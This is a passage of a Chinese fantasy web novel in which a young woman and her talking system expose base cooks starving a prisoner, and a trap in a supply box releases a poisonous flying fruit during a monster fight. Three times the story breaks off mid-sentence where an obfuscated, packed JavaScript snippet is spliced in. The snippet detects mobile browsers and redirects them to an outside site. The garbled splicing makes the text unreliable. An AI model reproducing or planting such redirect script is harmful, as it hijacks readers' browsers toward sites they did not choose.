三人“一二一二”喊着口号,把补给箱推上通向厨房侧门的斜坡。看着胖厨子凉粉坨一样颤动的肚皮,易果的眉头越皱越紧。 怎么能这么胖? 门口的鸟都像被吸干了精气似的瘦成肉干,怎么就他们能胖成这样? “真奇怪。” 系统自言自语,“明明在考察期,而且这基地上下看起来也确实在认真挨饿,那这节骨眼儿上专门从大老远的地方送一箱吃的过来,干什么?” 易果一路上也在琢磨这个事,她不禁想,难道是考察期结束了,要发饭了?如果是这样,那就危机解除,一切都好办了。 她屏住呼吸,从行李箱后面伸出脑袋,耳朵快要贴胖厨子的肚皮上。听见他们几个竟然正在全情投入地交流家里小孩的超重治疗近况。 厨子a发愁,“不到十岁就两百多斤,的确是略胖了点,在异能学校容易被坏同学歧视。” b赞同道,“可不是嘛,还会影响未来的异能成长,影响评级。” c摇头,“是这个道理,可没法子,一点都看不得小孩饿。” “对对对。”一下说到彼此心坎里,三人连声点头:“刚觉醒异能那会儿咱们都忍过饿,那滋味现在想想,哎呦苦呐。” “没错,少吃一口就抓心挠肝,痛不欲生。挨饿就是虐待,绝对不能让孩子们挨饿。” 提到家里小孩三人声音都不自觉夹起来,化身粉红色脸庞的柔软蛋糕,连推小三轮的动作都变得温情满满。 可当三人在侧门前停下,转眼间齐刷刷变成了另一副面孔。 他们低头围着跟前的补给箱,如同抢到新鲜肉的屠夫,眼放绿光。 “今天还要饿着新来那批家伙吗?” 为首的厨子a掀起肥腻眼皮,一边谄媚地笑着,一边搓了搓手: “要是按上头那大人物交代的,今晚就得开餐。” 他们脑袋贴脑袋,开始合力复盘两天前的深夜,接到的那个秘密任务。 有人传达说要往他们基地临时转运过来一批评级低劣的新生异能者,里面带着编号001的那位,尤其要“重点关照”。 正常情况下,考察期虽然要对新生者严格禁食,但也要保证最低限度的营养摄入,以免那些体格弱的,真被饿死。 他们接到的命令却是,对那001“一滴水都不能给”。 但又要求他们在今晚补给箱送达后,给001加餐。 一时间,今晚到底开还是不开这补给箱,让几人陷入纠结。 比不了中心c区那些人满为患的热门基地,十八号基地位置偏,各方面设备也都老化,实际上近几年都没接过考察期的培训任务了。 被冷落这么久,一猛子接了个大活儿,厨子们都削尖了脑袋想趁机表现,好日后有机会升到油水更足的工作单位去。但毕竟很久没来活儿,一时间,他们揣测“上意”的技能都变得有些生疏。 手里的任务,矛盾中似乎暗藏别样的深意。几人不敢大意,卯劲想了又想。 终于,厨子a咬了咬牙,“肯定是上头某个领导跟这001有旧仇,想教训他,但碍于规章制度,没法下狠手。那咱们就得不怕麻烦,替人出完这口气。” 厨子a拍板,“不给吃。两天没吃没喝算什么,饿他的,继续往死里饿他!” “会不会出危险啊师父,要是那人失控了,或者重新妖化了。”另两人有些犹豫。 厨子a不屑地摆了摆手,说给他传达命令那位的确提了这001有不良倾向,还说了下午补给箱送到,会派专人来全程监督。但到头来,不还是东西一送到,人就匆忙走了。 因此他断定,这001归根到底,还是个软柿子。 “他又不是那位‘死而复生’的大英雄,前局长刑与。” 厨子a阴阳怪气的,他跟大多数人一样,不看好浑身不详buff叠满的刑与。要是投票选边站的话,他只认可凤久是当今保护民众安全的真正英雄。 他往围裙上蹭了蹭大拇指,转身摁开侧门上的指纹锁,“放心,这种评级低的瑕疵品异能者,没人惦记。就算真出点小事,也没人有那闲功夫给他们出头。” “咱们不是见多了,有经验。” 他说着转过头,咧嘴笑出两排白森森的牙齿。分明另有所指,但几人默契的领会了,一起跟着笑起来。 通向厨房的小门被推开的瞬间,像发生了气体爆炸,混乱的食物气味倾巢而出。 猫在门口的易果一没留神,被熏的眼睛发酸,嗅觉都麻痹了。分不清涌出来的到底是香味,臭味,还是过度发酵的酒味儿。 “鼻子,老子珍贵的鼻子炸了!呕——”系统收紧挎包拉链,难受的皱成一团。 易果赶快把包塞进衣服里,抬起头时猛地顿住。一溜白炽灯同时亮起,厨房的全貌顿时清楚的袒露出来。 生了黑斑的水果和烂菜叶子山一样堆在案板和水池上,几个切开的西瓜都只掏走了最甜的西瓜心,剩下的东一块西一块搁在桌上,腐化的汁水接连不断往地上淌。盘子全都脏的镶了黑边,甚至有几根筷子竖着沾在墙上。 这是任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579821|171594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个强迫症都无法承受的致命重创。易果哆哆嗦嗦,瞳孔都要散了,系统连声喊她回神: “现在不是睡的时候,快听,最里面好像有动静。” 易果避开灯光,奋力把头又往前伸了些。在脚步声外,忽然从厨房深处传出声叹气一样的短促叫声。 少气无力的,听不出是什么动物,但易果像被扎了一下,心都被揪住。 厨房里的三人却像什么都没听见,回到快乐老家似的,乐呵呵把补给箱往长桌边推。 易果听见他们似乎一直在絮叨考察期有多重要,不知道在说给谁听。 “……考察期嘛,本来就得严格些。” “尤其有些心不诚的,就该着重考验,锻炼。能不吃就不吃。” 系统听的窝火,“一堆废话,我看他们就是想独吞,想偷吃。瞧瞧那一身膘,早就是惯犯了。” 这时易果忽然扶着门框站了起来,她看见桌子底下摸出一只手,瘦成皮包骨,乍一看甚至不像个人手。 那手从笼子里钻出来,拼命去抓不远处桌脚的烂苹果。手指一张一缩,用力到发白。眼看要摸到苹果,胖厨子a低头瞧了一眼,抬脚轻轻把苹果踢远。 他兜着肚子,弯腰对笼子里小声啜泣的人严肃道:“饿的久一点,重一点,都是为了你们的未来考虑,为了你们好。 你看看你,当初要是老实上供,哪有今天这么多事。” 这群胖厨子,邪恶! 易果看着笼子里没个人样的瘦小身影,后槽牙都咬紧。 光易果听见的,这基地的厨子明显在利用考察期牟利,恶意拖长受测试者的禁食期,威胁、讹钱、关人,肆意作恶。 易果一边掏出手机连拍,保留证据,一边担忧,不敢想自己的宝贝战利品们这些天在这儿过的会是什么日子。 眼瞧着胖厨子们展开条干净桌布,开始摆弄补给箱的锁,马上要把这箱子难得的优级食材独吞。 易果攥紧拳头,“我,我……” “你可以多气一点没关系。” 系统平和的发声,下一刻骤然变得热血沸腾,“因为我,已经气炸啦,干他们干他们,别让他们得逞!” 愤怒中易果脑袋顶开始发烫,烫的有些反常,但她没空在意,空着手就要冲进厨房抢补给箱。 可没等她进门,里面忽然一阵盘子碗掉在地上的嘈杂声响。紧接着一阵风“嗖”地从易果跟前经过,吹歪她毛乱的刘海。 原来是补给箱不知道什么时候自己伸出了四个轮子,撞开胖子们,一路滑出厨房,溜溜哒哒,竟顺着斜坡跑了。 厨子们从地上爬起,急起来动作竟然异常灵活,腿脚快的惊人。他们接连从门里蹿出来,朝补给箱追过去。 易果站在原地,先哉哉乐了两声,转头冲进厨房,把桌上能吃的,全堆到了底下那笼子前。 “吃吧,我马上,马上回来。”匆忙对笼子里看不出男女的小可怜嘱咐一句,易果转身也朝补给箱奔去。 11. 饥饿陷阱 热血追击中灌了几大口春日夜晚的凉风,还是系统先恢复了些理智。 “等会儿,那补给箱还是不对劲。你看那箱子是不是……” “真快啊,跑的。高级。”易果由衷赞叹。 三队押这补给箱过来时,拴在车屁股后面的小拖车上,咣当了一路。 光听声音,易果就觉得这箱子比一般的壳子厚上许多。原来下面藏着腿呢,现在看,更像个定时启动的运输机器人。 “就是过于高级了。” 系统越琢磨越觉得有猫腻,“说白了,一个菜蓝子而已,还是往基地补充最基本营养的菜蓝子,没必要高端成这样。” “仨胖子刚才是不是说,有人特意交代了,先把谁狠狠饿几天,再把这箱东西……” “不能再挨饿了。” 易果想起厨房笼子那只瘦骨嶙峋的手,满心的火“嗷”地一下子又飙到头顶。 厨子们搅乱了这场考察期的饥饿秩序,不单个别受测试的异能者,整个基地都在因为饥饿濒临即将失控的临界点。 “没必要的饿,是虐待。该吃饭的时候,必须得吃饭。” 易果愤慨的补充一句,“尤,尤其是,我方战利品。” 系统提醒易果事情没那么简单,“整个基地的失控,不是区区几个小厨子能掀起的风浪,他们都说了上头有人安排,关键就在那补给箱。” “补给箱是个陷阱。” 易果盯着前面被厨子们追赶的补给箱,顿时更燃了,“那便由我,踏平陷阱。” 她又挠了挠头,只觉得浑身躁动,亢奋,正义感熊熊燃烧。 “怎么不过两天不见,莽成这样。”系统正嘀咕,转眼吓的没了声。 易果颠下去半拉的帽子底下,露出了她异常茂盛的脑袋。但易果毫无察觉,任自己满头的茂盛,正义凌然的在夜风中奋力摇摆。 系统放轻声音,不知道怕吓坏谁,“坏了,天冷,你你快先把帽子戴好。” “踏平陷阱——” 易果转头把一旁草窝里,特别突兀的一个路牌拔了,武器似的抗在肩上,大步朝补给箱过去。 片刻后,草窝里圆溜溜一个光圈闪过,响起一声,“嫩叠”。 厨子们一边甩着脸上的汗,一边手拉手把补给车围住。一通狂奔,差点跑掉半条命。 要说也没绕出太远,正好到了食堂和对面“铁桶楼”前的空地上,紧挨着隔壁废物处理站的高墙。 厨子徒弟嘀咕了一句,“昨天半夜不是新拉来辆车垃圾吗,这会儿怎么不听见机器响了。” “可能坏了,三天两头的坏,常有的事。” 墙当中的小方门是个垃圾口,直通隔壁的碾碎机。只有倒垃圾的时候才会打开。 他们重新合力把补给车往回推,按说车底下伸出了轮子,用不着小三轮,应该更省力些。谁知轮子一个个都别着劲,赖原地不愿意走似的。 “嗯?怎么回事这倔箱子。” 厨子a往箱子上使劲锤了一把,没想到正面弹出了个触控屏。上面亮起一行字—— “晚餐时间马上到,请做好准备。” 旁边还跟着显出个一分钟的倒计时。 “这是个自动投喂机器人?” 几人头回见送补给能贴心到这个份上,索性原地等着,等箱子到点自动开了,再分批把东西搬回厨房也不迟。 箱体一角的千里马标识灯光下隐隐泛着光,一匹奔马,体型矫健,看起来安全又迅猛。 “这运输公司,是不是也帮忙运那个什么有毒的鱼果?” 一个厨子突然好奇,“同一个运输公司,运危险品又运吃的,要是哪天装错了,岂不是要坏事?” “可不敢开玩笑。”胖厨a饿瘾犯了似的,贴在箱子缝上使劲闻: “据说那玩意儿不仅模样怪,毒性也大的很,哪怕飘出一丁点味儿,都能引得人神智全无,互相扇巴掌,直到把脑袋扇掉。” “啊?不是变成蝙蝠精,抱着人脖子直到把人吸干吗?” “明明是变成蚀鬼那样,饿的发疯,见人就啃,骨头都嗦干净!” 几人嘴上说的越发血糊呲啦,惊悚瘆人,但不知道怎么回事,口水却越流越多了,莫名其妙一股一股的顺着下巴直淌。肚子也争相叫起来。 “怎么回事,突然饿的难受。” 他们用围裙擦口水,擦的围裙湿透,狼狈的招架不住。这时突然“叮”的一生,面前的补给箱子自动打开条缝。 冰箱似的,随着箱门开启,里面亮起一圈照明小灯。打头的胖厨子a挤开两人,嫌慢似的,一左一右猛地把门拉开。 “啊~~~” 当即尖叫着抖出个波浪线,迸出全身力气,“咣当!”又把门抡上了。 繁杂又醇厚的奇特香气,只散发了一瞬就戛然而止。在空气中留下令人食指大动的余味。 但此刻在场者没胆子细品。 厨子a僵硬的扭头往后看,俩徒弟已经吓瘫在地上。虽然只有短短一瞬,但他们都看清了,补给箱里根本不是塞满了什么优级食材,空荡荡的,只有飘在半空中的…… 一条鱼。 大智若·鱼果,说它是植物吧但它像条大尾巴鱼,且能飞,说它是动物吧,但它没脑子没内脏,游动般漂浮的原理接近玄学。 但唯一确定的是,这是个至今无药可医,只要一露面就能引发大规模伤亡的,致命毒物。在已有的案件记录中,这邪恶果实一旦泄出,现场幸存者数量将为零。 “没关系没关系,我门关的及时。” 厨子a一边哆嗦着擦汗,一边往周围看,生怕着鱼的惊鸿一瞥间,已经引来什么神智不清的家伙。 好在周围仍是静悄悄的,看起来仍然安全。 像这种级别的危险品,必须立刻通知特遣队来处理。但几人刚才追出来的匆忙,身上都没带手机,一时陷入为难。 “谣传是不是都夸大了,其实没那么严重。”一人侥幸道,“就算真能引来脏东西,他们也都出不来。” 几人面面相觑片刻,互相点头认同。 胖厨a一边擦冷汗一边尬笑,“说的对,不必那么紧张。就算把刑与引来也用不着害怕。” “管他是生是死,是人是鬼,只要到这基地的地盘,被考察被测试,命就攥在咱们厨子手里了。让他饿他就得饿着,就跟那001一样……” 说到一半,突然身旁两人拼命对他摇头,他疑惑的转头,看见身后站着个高大男人,胸前编码上赫然印着“001”。 “叫我?” 刑与脸上戴着防咬嘴套,垂着眼皮看了胖厨子一眼。脸上虽然带笑,但眼中自带寒芒。浑身杀气隐而不发却锋利逼人,只一眼,就看的人像被抽了筋骨,满脑子只剩下恐惧。 “我,不是,你……”厨子吓的口不能言,撇开脸远处一看,更觉得事态糟糕。 刑与身后,被拘在楼里的新生异能者们竟然早就撞开锁出来了,可不知道怎么回事,这会儿都四仰八叉的堆在地上。 看着眼前的补给箱,刑与深深吸了口气。 随着理智回归,他喉咙深处涌起一股又一股难忍的焦渴。 虽然置身基地深处,但对面美食街热辣鲜香的气味,丝丝缕缕的,不断的涌进来。 但是不足够。 更丰富的鲜活的,更饱含生命力的食物气息。葡萄,荔枝,山竹……黑亮的眼睛? 刑与怔了片刻,从躯体深处涌起的焦躁越发无法按耐。 带着满身杀气,刑与把厨子们一个个拎到一旁,要打开补给箱。 厨子们扑上来挡住箱子门,“不行,不能开,里面有毒。”他们虽然害怕,但也清楚哪个重哪个轻,一旦大智若·鱼果真被放出来,就真的全完了。 刑与冷嗤一声,没在乎对方拙劣的说辞。绕开几人到另一侧,开始沉默拆箱。 “咣咣咣”一连几声,震的人头皮发麻,厚实的箱体留下深深的凹痕。而拆箱子的人面无表情,与其说是馋,急着吃,更像是不开心,被关久了要泄火。不论什么东西触了他的眉头,他都照锤不误,干净利落,一丝血都不给留。 可怕的破坏力看的厨子们一动不敢动。虽然都清楚箱子拆开就要完蛋,但更怕这位心情不佳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“看见没,考察期一点暴*力行为都不能,不能有。刚才你不对。” 刑与怎么闷头躲,易果怎么紧紧跟,线路诡异,直看的在场者目瞪口呆。 “小鸡抓老鹰啊你俩。”系统瞧的无语,在易果再次靠近补给箱时,它忽然“吱嗷”一嗓子叫起来,吓了易果一跳。 “等会儿,我好像,闻到什么不该出现在这儿的奇特气味。” “大智若鱼果。”易果刚才经过时听见那几个吓坏的胖子在念叨。 之前搭三队的后备箱过来时,易果听见车里广播也在科普这个传闻中神秘又十分危险的水果。说是毒性激烈,且至今无解药。果实飘到哪里,毒性就散播到哪里。接触空气后,会立刻成熟胀开,肆意发散有毒气体。 沾上一点,人就要失智发狂,逮到人就啃。说是不久前,这果子刚在远郊哪个地方,引发了一场群体抢食惨案。 “那不是完了,这基地里到处都是现成的‘饿狼’,毒的效果岂不是更要翻倍。” 系统又一顿,声音忽然变得急迫,“我懂了,这就是陷阱的真相。有人就是想利用这什么果,激化饥饿,在这里引起致命暴乱。” 易果也迅速理解了其中的利害,紧张道,“只要还在箱子里,就没事。” “再说,这里的新生异能者们,攻击性好像没那么强。只要找个地方把箱子捆好……” 说话间,他们注意到前方饥饿监测大屏上的数值忽然发生了变化。变化的不是数值本身,而是数值个数。 再原有的考察期新生异能者数量之外,又冒出了一长串乱码个体。各个饥饿暴虐数值都已超出警戒红线。 正对面的高墙上,那个四四方方的垃圾焚烧口不知道什么时候竟打开了。从隔壁垃圾站被带出的垃圾,零星散落在地上,一条黑漆漆的,触手一样东西正伸出垃圾焚烧口,精准的裹住了补给箱,一点点往里拽。 狼来了,狼早就来了。 12. 侵蚀结晶 胖厨a情急中从口袋深处摸到了被遗忘的小手机,拨打应急管控局的紧急救援电话,请求援助。 还以为要排队等待,没想到很轻易就接通了。接听员听到大智若鱼果相关信息后,竟没有多问,只说事关重大,不要对外声张,将立刻派特遣队来支援。 “特遣二队已在赶去的路上,请努力坚持五分钟。” “快点,求求你们,快点。”厨子们怎么都想不明白,补给箱里为什么会装了那么个毒物。 他们抱团蹲在地上打哆嗦,万般后悔,“早知道这是要命的活儿,咱们就不该接。到底是谁,心能这么黑。” 从垃圾投放口伸出的触手,似乎生满了倒钩,“表皮”嵌有不少像是垃圾碎片组成的鳞甲。触碰到补给箱的瞬间,猛地张开,如一个密不透风的网兜,大摇大摆地要把补给箱独占。 见对方竟在自己眼皮子底下抢东西,刑与拽住补给箱,奋力往回拖。双方角力中,补给箱越来越变形,箱门间的缝隙越咧越宽,看起来马上就要破开。 “老天鹅,人家一点都不想在这个时候观看拔河比赛好嘛,用不用这么激烈,我是鼓掌还是不鼓掌啊。”系统目前为止见过的离奇阵仗,一次又一次被刷新。 易果也远远跟着补给箱前一步后一步的,虽说没上手,但看起来整张脸都在全身心投入的使劲。 “到底是拔,还是,还是不该拔。” 不拔的话,箱子被墙那头的什么东西拆开,很危险。继续拔的话,箱子可能马上立即就要当着他们的面拆开了,根本好不到哪里去。 “心平气和,你先心平气和。”易果时不时的朝实时监控大屏的方向张望,不确定上面哪个是刑与的数值。 分心的片刻间,忽然“咔嚓”一声脆响,补给箱在双方角力中终于被撕成两半。 箱子里先是“叮铃咣铛”滚出两个巨大铅球,一个巴掌大的鱼形果实被沉重铅球坠的摔在地上。怯生生地昂起头甩了一下尾巴,在充分接触到空气的瞬间,热胀冷缩一般,瞬间变的跟补给箱一样大。 飘飘摇摇,像个热气球一样缓慢升空。流光溢彩的金色长尾,猛地又一甩,细密的烟雾猛地在空中散开。一股醇厚又馥郁的香气,顿时充斥四周。 “好香。”易果大脑似乎空白了一瞬,不禁咽了咽口水。看来此果干预食欲的传言,不是假的。 那果实空中飘了片刻,突然转向易果。长尾无风自摆动,“噗叽”“噗叽”忽然睁大了眼睛,兴冲冲游向易果,直朝着易果的脸过来。 边游边使劲抖落香风,大有把易果香晕的架势。易果随即意识到这挥发性气味的危险,脱掉外套,着急要把这果实重新包上。 可惜晚了。 香气无声飘散开,触碰到那道隔断墙的瞬间,一个庞然大物骤然破墙而出。 易果一时间甚至没看清,眼前卡车大小的怪物究竟是个什么东西。似乎长了个三角蛇头,但又连了不少胳膊腿,更奇怪的是,下面还垫了个运货的架子车。 “我的架子车,时尚时尚最时尚。” 一边用粗哑的嗓子大声嚷嚷着,一边一路火花带闪电地,狂飙过来。 监测屏上顿时响起警报,之后眨眼间黑屏。像是过载后,烧毁了。如果数值超标到能把监测器烧毁,无论是饥饿指数还是潜在暴*力指数,想必都危险到了难以应对的程度。 易果很快明白了数值超标的原因,她看见那怪物动作间,身后也拖出长长一道锁链。 由禁锢咒实体化所形成的锁链,就捆在怪物身上。虽然没有易果之前在禁区看见的初级禁锢锁链的强悍级别。但身上穿了锁链的异能者,身上大多都背了人命,手上染过血,即便特遣队的过来,也要小心对付。 易果这会儿才看清,对方那触手,其实更像一截子变形的蛇尾。灵活度堪比一只手,目标明确,还是朝着大智若鱼果气势汹汹的甩过来,网住了,继续往自己跟前拖动。 对方嚣张夺食的心气看起来始终熊熊燃烧,易果担心这已经是中了毒的表现,下一步对方会有什么更激烈的动作她无法预料。 易果谨慎的后退,但刑与却原地站着没动,挑衅似的,一把拽住了蛇尾,分毫不让的样子。巨大的蛇头,眼看要朝刑与咬过来。 “别碰,有毒就坏了。”易果冲过去,奋力把刑与扒拉开。 蛇头猛然间窜出一个易果,似乎愣了一下,少见易果这样的非异能者,看起来有些稀奇。 作为非异能者的易果,身上几乎没有什么所谓“杀气”。在夜晚的掩护下,就像披了隐形战衣一般。怪蛇恼怒地甩起长尾,想要把易果扫开,但左一下右一下,怎么都扫不准。反而让易果行动自如,来回穿梭,如入无人之境。 来回躲闪了几个回合后,蛇怪彻底失去了耐心。终于在摸准了易果的行动规律后,一个挥起长尾,把易果远远扫开。 刑与以为易果终于放弃,转身只身应对蛇怪。然而自动进入基地后,他连水都没能喝上一口,今晚来来回回又消耗了不少,让他一时间动作迟滞,竟然难得的感到了有些力不从心。 蛇怪看出刑与动作上的破绽,抓住时机,挥起他周身看起来十分不协调的腿腿脚脚,要给碍眼的刑与致命一击。尤其一只“腿”,格外粗壮,头顶似乎还长了尖锐的长刺。直朝着刑与的胸口扎过去。 然而就在长刺要触碰到刑与的瞬间,蛇怪的“腿脚”忽然剧烈痉挛起来。 “哥哥!” 一声叫喊后,尖刺甚至发生了叛变,调转了方向,反倒朝着蛇怪自己扎过去。 剧烈震荡后,那尖刺下袒露出一张刑与记忆中的面孔。圆脸小眼睛,刑与从前特遣队的替补队员,金二牛。 蛇怪的本体看起来不止有它本来的身体部分。刑与细看后赫然发现,跟前这巨型怪物可以说是一个巨大的怪物版变形金刚。蛇的身体与数个看起来身体有缺陷的异能者个体,由受伤后没能及时治疗,因此生出的侵蚀结晶,连接在一起。乍一看想个头尾不分的怪异组合品,一个垃圾山一样的组合妖怪。 当年刑与出事,金二牛曾和救援部队一起出发,想为刑与夺得一线生机,没想到中途出了变动,没能抵达事故发生点。 “局长已经死了。” 从事故中心逃离的人,这么告诉救援队。随后为了避免伤亡扩大,避免蚀鬼进一步扩散,当时的上级不得已作出了炸毁侵蚀点后,封禁整个基地的决定。 “哥,我就知道,我知道你不会死。” 眼看蛇头要袭向刑与,金二牛奋力挣开,挡在刑与跟前,被蛇一口咬住,难以脱身。他与刑与告别,“自我受伤后,成了所谓瑕疵品异能者,被当垃圾一样来回转移。” “唯一的遗憾,许久没见过高墙外的春天。” 他凄惨,他无助,他朝刑与忧伤挥手,“告诉家姐,俺金金牛不是孬种。” 刑与被蛇怪制住,眼睁睁看着二牛要被吞噬。 “没办法,忍饥挨饿了这么久,实在是没有力气了。” 刑与很清楚,想通过考察期就不能暴露锁链,也要克制暴*力行为,但若袖手旁观,就要眼睁睁看着昔日战友再度死在自己面前。 他深知自己进了陷阱,但他此刻别无选择,就在他准备放弃自我约束的瞬间,易果又一次从不知道什么犄角旮旯的地方,穿越层层障碍,到了跟前。 但易果的模样,让刑与当即愣住,一时间不知道如何应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582330|171594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对, 只见果斗牛般缓缓晃动她的脑袋,她毛乱的发顶,嫩生生的韭菜苗“窸窣窣”摆动。翠绿的韭菜,鲜明的植物清香,带着独属于春天的气味,不断散发着悠长的气味。 只见一道流光划过,金二牛一下子来了一股巨大力气,携手板车天团挣脱蛇口,循着香气,顿时成功挣脱。 “我是电,我是光,我是宇宙的饭桶。” 刚才还软弱无力,即将赴死的金二牛们,似乎是被心中一直向往的食物气息,当即激发了无穷无尽的斗志,以及无穷无尽的求生力量。不仅挣脱了蛇口,还彻底从蛇身上分离,得以重新获得自由。 然而,他们身上一部分侵蚀结晶已经难以挣脱,即便获得自由,也牢牢粘在一起。易果意识到形状乱七八糟的怪物,事实上是个组合金刚,似乎可以尝试分块瓦解。 食物激发潜力的效果十分惊人。 易果不是一个人过来,身后还带着挂念多时的,那群水马异能者。抬起手晃一晃,水马们就争先恐后到了她身边。 易果也没想到,在严格限制食物入内的禁食基地,自己遭受的0收惩罚,反倒对自己形成了助力。易果又晃了晃脑袋,眼前这些新生异能者们,甚至没有被大智若鱼果的有毒气味引诱,一心对着她的脑袋出神了。 水马异能者此刻离成功转化只剩下最后一步。刚才易果被蛇尾巴打飞,要不是水马们窜出来接住她,她这会儿绝对爬都爬不起来。 并且易果乍一看,差点都没认出来,水马们饿了这几天,不仅没瘦,反而看起来胖成球了,脸罩像嘴兜一样挂在脸上。 最关键的是,虽然他们仍然不是人形,但可以说人话。且智力优秀,水马群体离,甚至诞生了一个超强助手。 “如果想成功实现半妖异能者的转化,必须有咒言异能者,能够念诵神树赐福的育灵咒。上次我们都看到,你似乎不行呢。” 易果默默拉开身后拖了一路的行李箱,露出凤一鸣仍然有些迷糊的脸。 “嗯?我是谁,我在哪儿。” 易果的打算是,利用凤一鸣的咒言能力,成功转化水马异能者,实在不行的话,战绩分成也不是不可以。 水马转眼咬掉防咬嘴套,变了副神色,“莫慌主人,与她谈判的琐事,尽数交予我。”随后一本正经的朝凤一鸣过去。 易果在一旁旁听,不禁连连点头,没想到学会说话后,水马的嘴皮子能力惊人。趁着凤一鸣脑子还没恢复,利用她舌头给水马群恢复人形后,战绩分成都谈的有条有理。 凤一鸣想要讨价还价都没抓着机会,双方分成从一九,一路直杀到三七。易果七,凤一鸣三。 让易果终于有机会在48小时0收惩罚的最后期限到来前,也就是真的完全沦为韭菜脑袋前,得以成功摆脱了0收惩罚。 凤一鸣虽然脑子还没恢复,但多少也没傻透,合同签过后,她反应了过来,不停嘟囔说,“这不好这不行”,“我要告到天庭,告到天庭”。 成功度过0收惩罚,易果的小饭桌终于不再空了,由小小一团变得越发的沉甸甸。她想起先前凤一鸣在车里蛐蛐的那些话,低头说:“你看,水马在我这儿,就是有救的价值。” “小饭桌”功能恢复,易果到了金二牛他们跟前,低头看着他们身上的侵蚀结晶,陷入沉思。 通常情况下,侵蚀结晶的形成,意味着新生异能者肢体受损,且极有可能无法复原。即沦为所谓的“瑕疵品”异能者。通常情况下,若侵蚀结晶的范围有限,那伤者经过治疗后,还有治愈的可能。但也有可能,结晶下的伤口比想象中的还深,那就白白花费力气。 因此很多治疗者一看到有侵蚀结晶,就放弃救治伤者。